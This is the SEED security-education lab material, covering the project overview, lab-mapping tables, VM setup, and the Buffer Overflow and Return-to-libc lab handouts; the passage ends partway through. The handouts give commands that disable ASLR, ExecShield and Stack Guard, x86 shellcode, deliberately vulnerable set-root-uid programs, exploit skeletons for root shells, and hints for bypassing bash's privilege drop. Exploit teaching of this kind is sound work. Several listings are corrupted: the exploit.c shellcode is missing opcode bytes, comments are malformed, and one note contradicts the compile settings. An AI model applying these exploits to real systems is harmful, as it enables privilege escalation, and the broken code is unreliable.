SEED: A Suite of Instructional Laboratories for Computer
SECurity EDUCation

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Sankara Narayanan  Tongbo Luo
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Sunil Vajir  Mingdong Shang
Ronghua Wang  Shaonan Wang
Haizhi Xu  Zutao Zhu
Introduction of SEED Labs

*If we adopt a picture that ignores practice, our field (computing) will end up like the failed “new math” of the 1960s – all concepts, no practice, lifeless; dead. – Peter Denning.*

1 What are SEED Labs

The importance of experiential learning has long been recognized in the learning theory literature. However, computer security education, relatively new compared to other computing fields, did not have widely-adopted laboratory exercises that can be used to enhance students’ experiential learning. To fill such a void in security education, we started the SEED project in 2002. SEED stands for SEcurity EDucation. Its mission is *to develop a suite of well-designed instructional laboratories that can be effectively used by instructors in their computer security courses to enhance students’ learning.* At the time of writing, we have developed over 30 SEED labs, which cover a wide spectrum of computer security concepts, principles, and practices.

The SEED project was initially funded by the NSF CCLI program as a Phase-I project in 2003, and was then funded by the same program as a Phase-II project in 2007. The project was also partially funded by the Syracuse University’s Vision Fund in 2003. The SEED labs were initially used in the three security courses (Introduction to Computer Security, Computer Security, and Internet Security), at both graduate and undergraduate levels, in the Department of Electrical Engineering and Computer Science at Syracuse University. Over the years, around 50 schools around the world have tried and/or adopted some of the SEED labs. These schools include major universities, 4-year colleges, and community colleges.

2 Our Commitments to Help You Adopt SEED Labs

After 8 years’ experimenting with the SEED labs, we have not only matured the design of these labs, we have also matured the process of helping others (instructors and students) use these SEED labs. We hope more and more instructors and students can benefit from the SEED project. We have committed to help those who would like to or are planning to adopt our labs in their classes. To fulfill our commitment, we plan to provide the following supports:

- **Instructor Manual.** For most of the labs, we have a lab manual that are only for instructors. These manuals come from students’ reports; they describe in details how each of the tasks in the labs are carried out. The manuals can help instructors prepare their labs. To prevent these manuals from falling into students’ hands, the instructor manuals will only be provided to instructors. To get a copy of the manuals, please send an email to wedu@syr.edu with your physical mail address, and we will send a hardcopy of the manuals to you.

- **RA Support.** Our budget allows us to hire a Research Assistant to help you prepare your labs. If you have any question while preparing the labs, feel free to send an email to wedu@syr.edu. We will answer your questions in a timely fashion. If you have a TA who can help you prepare the labs, our RA can work with your TA to ensure that your TA know how to carry out the tasks in the labs. This has been working quite well in the past.

- **Feedbacks.** To help us improve the labs, we really appreciate the feedbacks from you. In particular, we would like to know how you think about these labs, how students think about the labs, what problems you or your students have encountered while working on the labs, where do you think we can improve, and so on. Feedbacks do not need to be formal; they can be your impression or the words from students.
Guidelines: Which SEED Labs Should I Use?

Over the last few years, we have worked with a number of instructors who adopted our labs in their classes. Based on the experience, we have summarized the following guidelines to help you decide whether to adopt our labs or not, how to adopt our labs, what labs to adopt, etc.

1 Overview

Deciding what labs to adopt is up to you and is dependent on how you would like to teach a security course. Before we started this project, we have conducted a survey to investigate how the instructors at different universities teach computer security courses. The results indicate that, unlike some other courses such as Operating System and Networking, there are no well-adopted consensus on what should be covered in computer security courses. Giving the unique nature of computer security, it might be a wrong direction to develop such a consensus.

Having in mind the wide variety of ways of teaching computer security, we develop our labs not based on a specific syllabus, but instead, we want our labs to cover as many aspects of computer security as possible; this way, instructors can always find some labs that are suitable for their security courses regardless of how they teach the courses. To help instructors find out what labs are appropriate for their courses without knowing how they teach the courses is not easy; however, we have developed the following two strategies that can help achieve this goal: the principle-based strategy and the course-based strategy. In the principle-based strategy, we categorize our labs based on the principles of computer security; in the course-based strategy, we categorize our labs based on some specific courses.

We have also mapped our labs to the chapters of several popular textbooks that are widely used by computer security instructors. This mapping will help instructors decide what labs they can use if they are using a specific textbook.

2 Mapping SEED Labs to Security Principles

Regardless of how instructors teach computer security and in what contexts (e.g. networking, operating system, etc.) they teach computer security, one thing is for sure: they should cover the principles of computer security. In civil engineering, when building bridges, there are well-established principles that need to be followed. Security engineering is no difference: in order to build a software system that is intended to be secure, we also need to follow principles. Regardless of how computer security is taught, the fundamental principles that most instructors cover are quite the same, even though the principles might be covered in different contexts.

The definition of “security principles” is interpreted differently by different people: some interprets it as software engineering principles, such as principle of least privileges; some interprets it as access control, authentication, etc. To avoid confusion, we use the following definition:

A computer security principle is an accepted or professed rule of action or conduct in building a software or hardware system that is intended to be secure.

We have categorized our labs based on the fundamental computer security principles, including Authentication (AU), Access Control (AC), Cryptography (CG), Secure Programming (SP), and Secure Design (SD). The categorization is described in Table 1.
As for the types of labs, we divide the SEED labs into three categories based on the intentions of these labs. Each type of labs requires different skills and may need different amount of time to finish:

- **Vulnerability and Attack Labs**: The goal of these labs is to achieve learning from mistakes. Vulnerabilities are often caused by mistakes in design, implementation, and configuration. These labs give students the opportunity to have hands-on experience with real vulnerabilities. In these labs, students need to identify vulnerabilities, develop attacks to exploit vulnerabilities, fix the vulnerabilities, and defend against the attacks.

- **Design and Implementation Labs**: The goal of these labs is to achieve learning by system development. They allow student to apply security principles, concepts, and ideas to build a secure systems in a lab environment.

- **Exploration Labs**: The goal of these labs is to achieve learning by exploring. They permit students to explore an existing system to understand the intended security principles, concepts, and ideas. Exploration labs are like a “guided tour” of a system, in which, students can “touch” and “interact with” the key components of a security system to learn the principles of security.

### 3 Mapping SEED Labs to Security Courses

After studying a number of security courses taught at different universities and colleges, we have identified several representative types of courses, and made suggestions regarding what SEED labs are appropriate for these courses (Table 2).

1. **System-focused Courses**: This type of course focuses on security principles and techniques in building software system. Network, also considered as a system, might be part of the course, but not as the focus. The focus is mainly on software system in general. Operating systems, programs, and web applications are usually used as the examples in the courses.

   If an instructor wants to ask students to design and implement a real system related to system security, there are several choices. (a) If the instructor wants to let students learn how to use cryptography in a real system, the Encrypted File System Lab is a good choice. (2) If the instructor wants to let students gain more insights on access control mechanisms, the Role-Based Access Control Lab and Capability Lab are good candidates. (3) If the instructor wants students to learn some of the interesting ideas in improving system security, the Address Space Layout Randomization Lab and the Set-RandomUID Sandbox Lab are good candidates. All these labs are carried out in the Minix operating system because of the need to modify operating systems. These labs can be used as the final projects.

2. **Networking-focused Courses**: This type of course focuses mainly on the security principles and techniques in networking.

3. **Programming-focused Courses**: The goal of this type of course is to teach students the secure programming principles when implementing a software system. Most instructors will cover a variety of software vulnerabilities in the course.

4. **Software-Engineering-focused Courses**: This type of course focus on the software engineering principles for building secure software systems. For this type of courses, all the vulnerabilities labs can be used to demonstrate how flaws in the design and implementation can lead to security breaches. Moreover, to give students an opportunity to apply the software engineering principles that they have
learned from the class, it is better to ask students to build a reasonably sophisticated system, from designing, implementation, to testing. Our design/implementation labs can be used for this purpose.

4 Mapping SEED Labs to Popular Textbooks

To further help instructors decide what SEED labs are appropriate for their courses, we have studied several textbooks that are popular among the computer security instructors. Currently, we have mapped our labs to the chapters of four books. The books and their editions are described in the following:

- *Introduction to Computer Security*, by Matt Bishop (published by Addison-Wesley Professional in October 2004). We refer to this book as Bishop I.
- *Computer Security: Art and Science*, by Matt Bishop (published by Addison-Wesley Professional in December 2002). We refer to this book as Bishop II.

Table 3 illustrates the mappings of the SEED labs and the chapters of four textbooks. As new textbooks, new editions, and new labs become available in the future, we will update the table accordingly.
<table>
<thead>
<tr>
<th>Types</th>
<th>Labs</th>
<th>AU</th>
<th>AC</th>
<th>CG</th>
<th>SP</th>
<th>SD</th>
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</thead>
<tbody>
<tr>
<td>Vul. &amp; Attack Labs</td>
<td>Buffer-overflow Vulnerability Lab</td>
<td>UG</td>
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<tr>
<td></td>
<td>Return-to-libc Attack Lab</td>
<td>UG</td>
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<tr>
<td></td>
<td>Race-Condition Vulnerability Lab</td>
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<td></td>
<td>Format-String Vulnerability Lab</td>
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<td>Chroot Sandbox Vulnerability Lab</td>
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<td></td>
<td>Set-UID Program Vulnerability Lab</td>
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<td>TCP/IP Attack Lab</td>
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<td></td>
<td>DNS Pharming Attack Lab</td>
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<td></td>
<td>Cross-Site Scripting (XSS) Attack Lab</td>
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<td></td>
<td>ClickJacking Attack Lab</td>
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<tr>
<td>Exploration Labs</td>
<td>Linux Capability Exploration Lab</td>
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<td>Web Browser Access Control Lab</td>
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<td></td>
<td>One-Way Hash Function Crypto Lab</td>
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<td></td>
<td>Public-Key Crypto Lab</td>
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<td>SYN-Cookie Lab</td>
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<tr>
<td>Design Labs</td>
<td>Linux Virtual Private Network (VPN) Lab</td>
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<td></td>
<td>Linux Firewall Lab</td>
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<td>Minix Firewall Lab</td>
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<td>Minix Capability Lab</td>
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<td>Minix Role-Based Access Control Lab</td>
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</tbody>
</table>

Computer Security Principles:
AU = Authentication, AC = Access Control, CG = Cryptography,
SP = Secure Programming, SE = Secure Design.

Table 1: Principle-Based Classification of SEED Labs (“UG” indicates that this lab is appropriate for both undergraduate students and graduate students, “G” indicates that the lab is appropriate for Graduate students only, and not appropriate for average undergraduate students.)
<table>
<thead>
<tr>
<th>Types</th>
<th>Labs</th>
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<th>System</th>
<th>Network</th>
<th>Prog.</th>
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<td>Return-to-libc Attack Lab</td>
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Table 2: Course-Based Classification of SEED Labs (“SE” stands for Software Engineering, “Prog.” stands for Programming. The meanings of ’UG’ and ’G’ are the same as those in Table 1)
<table>
<thead>
<tr>
<th>Types</th>
<th>Labs</th>
<th>Bishop I</th>
<th>Bishop II</th>
<th>Pfleeger</th>
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<td>20, 26</td>
<td>23, 29</td>
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Table 3: Textbook Mappings (The numbers in the table are chapter numbers)
Environment Setup for SEED Labs

Highlights

- There is no need for a physical lab space for any of the lab exercises.
- Students can work on the labs using their own computers.

1 Operating Systems

We use two operating systems as the base of our SEED labs: one is Minix 3 and the other is Linux. Minix 3 is an instructional operating system, and is widely used in computer science courses, such as Operating System and Networking. Because of its small size, modifying and rebuilding Minix operating system is a manageable task for average students in a semester-long course. We use this operating system for the design and implementation labs that require a significant amount of effort in kernel-level coding (several of our labs involve adding a new security mechanisms to operating systems, and thus require kernel-level coding). Minix 3 can be downloaded from http://www.minix3.org/.

Many of the SEED labs, especially the vulnerability/attack labs and exploration labs, are based on the Linux operating system. When we designed and tested our SEED labs, we used UbuntuLinux. Most of the lab activities can be conducted in other distributions of Linux, such as Fedora, but the descriptions of the lab activities, especially the involved commands and configuration, may differ. Therefore, we suggest instructors to use Ubuntu to avoid unnecessary trouble.

Since some of the SEED labs require quite a lot installations of additional software, we have made a pre-built virtual machine image of Ubuntu 9. We have tested all our labs on top of this virtual machine. Using this pre-built operating system, students can immediately work on the SEED labs, without the need to install any additional software package, unless we otherwise specify in the lab descriptions. We have written a manual for this pre-built Ubuntu virtual machine; they are attached in the appendix.

We are in the process of finding a web server to host this virtual machine image (about 3 GB). Before that happens, anybody who is interested in getting a copy of this image can send an email to wedu@syr.edu. We can either send you a DVD or let you download the image from us.

2 Computers

SEED labs do not require a dedicated laboratory; all SEED labs can be carried out on students’ personal computers. This is made possible by the virtual machine technologies. To be able to run Minix and Linux (sometimes multiple instances of them) conveniently in a general computing environment, we use virtual machine softwares. Students create “virtual computers” (called guest computers) within a physical computer (called host computer). The host computer can be a general computing platform, while each guest computer can run its own operating system, such as Minix and Linux. The guest computers and the host computer can form virtual networks. These virtual machines and virtual networks form our SEED instructional environment.

For students who do not have personal computers, instructors can ask their system administrators to install virtual machine software on the machines in public laboratories. However, since students need their own individual virtual machines, and each virtual machine needs 300 MB to 2 GB disk space, this approach creates a high demand on disk space on public machines, which is impractical in many institutions. This can
be solved with the help of less expensive portable storage media: students can store their virtual machines on portable hard-disks or flash drive, and work on their lab assignments on any public machines that have VMware installed.

3 Virtual Machines Software

The SEED environment can be created using virtual machine software, such as VMware, Virtual PC, and VirtualBox. These softwares are free. VirtualBox is an open-source virtual machine software, and it is free; Virtual PC software can be downloaded free of charge from Microsoft’s website; VMware has established an academic program that makes the license of all VMware software free for educational uses. Although VMware also offers a free product called VMware Player, we recommend not to use the Player, but instead get a free licence of VMware Workstation via VMware’s academic program, because there are several important features that are not supported by the Player (such as taking snapshots).
Buffer Overflow Vulnerability Lab

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Fedora to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks

2.1 Initial setup

You can execute the lab tasks using the preconfigured Ubuntu machine. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

```bash
$ su root
Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0
```

**ExecShield Protection:** Fedora linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any code that is stored in the stack. As a result, buffer-overflow attacks will not work. To disable ExecShield in Fedora, you may use the following command.

```bash
$ su root
Password: (enter root password)
# sysctl -w kernel.exec-shield=0
```
If you are using a Fedora virtual machine for executing this lab task, please disable exec-shield before doing so.

Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines contains a zsh installation. If you are using other linux systems that do not contain zsh by default, you have to install zsh for doing the lab. For example, in Fedora linux systems you may use the following procedure to install zsh:

$ su
   Password: (enter root password)
# wget ftp://rpmfind.net/linux/fedora/(continue on the next line)
core/4/1386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
# rpm -ivh zsh-4.2.1-2.i386.rpm

The following instructions describe how to link the zsh program to /bin/sh.

# cd /bin
# rm sh
# ln -s /bin/zsh /bin/sh

Furthermore, the GCC compiler implements a security mechanism called ”Stack Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

gcc -fno-stack-protector example.c

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

#include <stdio.h>

int main( ) {
    char *name[2];

    name[0] = ‘/bin/sh’;
    name[1] = NULL;
    execve(name[0], name, NULL);
}

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.
# A program that creates a file containing code for launching shell

```c
#include <stdlib.h>
#include <stdio.h>

const char code[] =
    "\x31\xc0" / * Line 1: xorl %eax,%eax */
    "\x50" / * Line 2: pushl %eax */
    "\x68""//sh" / * Line 3: pushl $0x68732f2f */
    "\x68""/bin" / * Line 4: pushl $0x6e69662f */
    "\x89\xe3" / * Line 5: movl %esp,%ebx */
    "\x50" / * Line 6: pushl %eax */
    "\x53" / * Line 7: pushl %ebx */
    "\x89\xe1" / * Line 8: movl %esp,%ecx */
    "\x99" / * Line 9: cdql */
    "\xb0\x0b" / * Line 10: movb $0x0b,%al */
    "\xcd\x80" / * Line 11: int $0x80 */

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)( ))buf)( );
}
```

A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the `execve()` system call, we need to store `name[0]` (the address of the string), `name` (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores `name[0]` to %ebx; Line 8 stores `name` to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call `execve()` is called when we set %al to 11, and execute “int $0x80”.

## 2.3 The Vulnerable Program

```c
/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
```
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

$ su root
Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit

The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

2.4 Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
   "\x31\xc0" /* xorl %eax,%eax */
   "\x50" /* pushl %eax */
   "\x68""//sh" /* pushl $0x68732f2f */
   "\x68""/bin" /* pushl $0x6e69622f */
   "\xe3" /* movl %esp,%ebx */
   "\x50" /* pushl %eax */
   "\x53" /* pushl %ebx */
   "\xe1" /* movl %esp,%ecx */
   "\x0b" /* movb $0x0b,%al */
   "\x80" /* int $0x80 */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

**Important:** Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the default Stack Guard protection enabled.

```
$ gcc -o exploit exploit.c
$ ./exploit // create the badfile
$ ./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!
```

It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:
Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

```c
void main()
{
    setuid(0); system("/bin/sh");
}
```

### 2.5 Task 2: Protection in /bin/bash

Now, we let `/bin/sh` point back to `/bin/bash`, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened? You should describe your observation and explanation in your lab report.

```
$ su root
    Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh // link /bin/sh to /bin/bash
# exit
$../stack // launch the attack by running the vulnerable program
```

There are ways to get around this protection scheme. You need to modify the shellcode to achieve this. We will give 10 bonus points for this attack. *Hint:* although `/bin/bash` has restriction on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID process into a real root process, before invoking `/bin/bash`, you can bypass the restriction of bash. The `setuid()` system call can help you achieve that.

### 2.6 Task 3: Address Randomization

Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

```
$ su root
    Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
```

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run `.stack` in the following loop, and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

```
$ sh -c "while [ 1 ]; do ./stack; done;"
```
2.7 Task 4: Stack Guard

So far, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the `-fno-stack-protector` option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use an older GCC version, you may not have to disable Stack Guard.

3 Guidelines

We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters a function. The following figure gives an example.

Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of `buffer[]` array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program). In the debugger, you can figure out the address of `buffer[]`, and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of `buffer[]`. The address of `buffer[]` may be slightly different when you run the Set-UID copy, instead of your copy, but you should be quite close.

If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach:

- Stack usually starts at the same address.
- Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time.
Therefore the range of addresses that we need to guess is actually quite small.

**Finding the starting point of the malicious code.** If you can accurately calculate the address of `buffer[]`, you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess. To improve the chance of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.

![Diagram of the attack](image)

**Storing an long integer in a buffer:** In your exploit program, you might need to store an `long` integer (4 bytes) into a buffer starting at `buffer[i]`. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at `buffer[i]` (i.e., `buffer[i]` to `buffer[i+3]`). Because `buffer` and `long` are of different types, you cannot directly assign the integer to `buffer`; instead you can cast the `buffer+i` into a `long` pointer, and then assign the integer. The following code shows how to assign an `long` integer to a buffer starting at `buffer[i]`:

```c
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
```

**References**

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on an interesting variant of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode that is stored in the stack. To prevent these types of attacks, some operating systems (for example Fedora) allow system administrators to make stacks non-executable; therefore, jumping to the shellcode will cause the program to fail.

Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overflow attack called the return-to-libc attack, which does not need an executable stack; it does not even use shellcode. Instead, it causes the vulnerable program to jump to some existing code, such as the `system()` function in the `libc` library, which is already loaded into the memory.

In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Ubuntu to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks

2.1 Lab Environment

You can execute the lab tasks using the preconfigured Ubuntu machine. Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:

```
$ su root
Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0
```

**ExecShield Protection:** Fedora linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any code that is stored in the stack. As a result, buffer-overflow attacks that have the exploit code in the stack will not work. To disable ExecShield in Fedora, you may use the following command.

---

¹We have tested this lab in Ubuntu Ver.9.04. It should also work for the most recent Ubuntu versions.
$ su root
  Password: (enter root password)
  # sysctl -w kernel.exec-shield=0

Because return-to-libc attacks should work in presence of this protection, you need not disable this feature if you are using a Fedora machine.

Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines contains a zsh installation. If you are using other linux systems that do not contain zsh by default, you have to install zsh for doing the lab. For example, in Fedora linux systems you may use the following procedure to install zsh

$ su
  Password: (enter root password)
  # wget ftp://rpmfind.net/linux/fedora/(continue on the next line)
  core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
  # rpm -ivh zsh-4.2.1-2.i386.rpm

The following instructions describe how to link the zsh program to /bin/sh.

  # cd /bin
  # rm sh
  # ln -s /bin/zsh /bin/sh

Furthermore, the GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are compiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

  gcc -fno-stack-protector example.c

**Note for Instructors:** For this lab, a lab session is desirable, especially if students are not familiar with the tools and the environments. If an instructor plans to hold a lab session (by himself/herself or by a TA), it is suggested the following to be covered in the lab session:

1. The use of the virtual machine software.
2. Basic use of gdb debug commands and stack structure.
3. Configuring the lab environment.

---

*We assume that the instructor has already covered the concepts of the attacks in the lecture, so we do not include them in the lab session.*
2.2 The Vulnerable Program

/* retlib.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

$ su root
    Password (enter root password)
    # gcc -fno-stack-protector -o retlib retlib.c
    # chmod 4755 retlib
    # exit

The above program has a buffer overflow vulnerability. It first reads an input of size 40 bytes from a file called “badfile” into a buffer of size 12, causing the overflow. The function fread() does not check boundaries, so buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.
2.3 Task 1: Exploiting the Vulnerability

Create the badfile. You may use the following framework to create one.

/* exploit_1.c */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");

    /* You need to decide the addresses and the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */
    *(long *) &buf[X] = some address ; // "/bin/sh"
    *(long *) &buf[Y] = some address ; // system()
    *(long *) &buf[Z] = some address ; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}

You need to figure out the values for those addresses, as well as to find out where to store those addresses. If you incorrectly calculate the locations, your attack might not work.

After you finish the above program, compile and run it; this will generate the contents for “badfile”. Run the vulnerable program retlib. If your exploit is implemented correctly, when the function bof returns, it will return to the system() libc function, and execute system("/bin/sh"). If the vulnerable program is running with the root privilege, you can get the root shell at this point.

It should be noted that the exit() function is not very necessary for this attack; however, without this function, when system() returns, the program might crash, causing suspicions.

$ gcc -o exploit_1 exploit_1.c
$./exploit_1 // create the badfile
$./retlib // launch the attack by running the vulnerable program
# <---- You’ve got a root shell!

2.4 Task 2: Protection in /bin/bash

Now, we let /bin/sh point to /bin/bash, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened? It appears that there is some protection mechanism in bash that makes the attack unsuccessful. Actually, bash automatically downgrade its privilege if it is executed in Set-UID root context; this way, even if you can invoke bash, you will not gain the root privilege.
$ su root
    Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh   // link /bin/sh to /bin/bash
# exit
$./retlib     // launch the attack by running the vulnerable program

However, there are ways to get around this protection scheme. Although /bin/bash has restriction on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID process into a real root process, before invoking /bin/bash, you can bypass that restriction of bash. The setuid(0) system call can help you achieve that. Therefore, you need to first invoke setuid(0), and then invoke system("/bin/sh"); all of these have to be done using the return-to-libc mechanism. The incomplete exploit code is given in the following:

/* exploit_2.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char**argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");

    /* You need to decide the addresses and 
        the values for W, X, Y, Z */
    /* You need to decide the addresses and 
        the values for W, X, Y, Z. The order of the following 
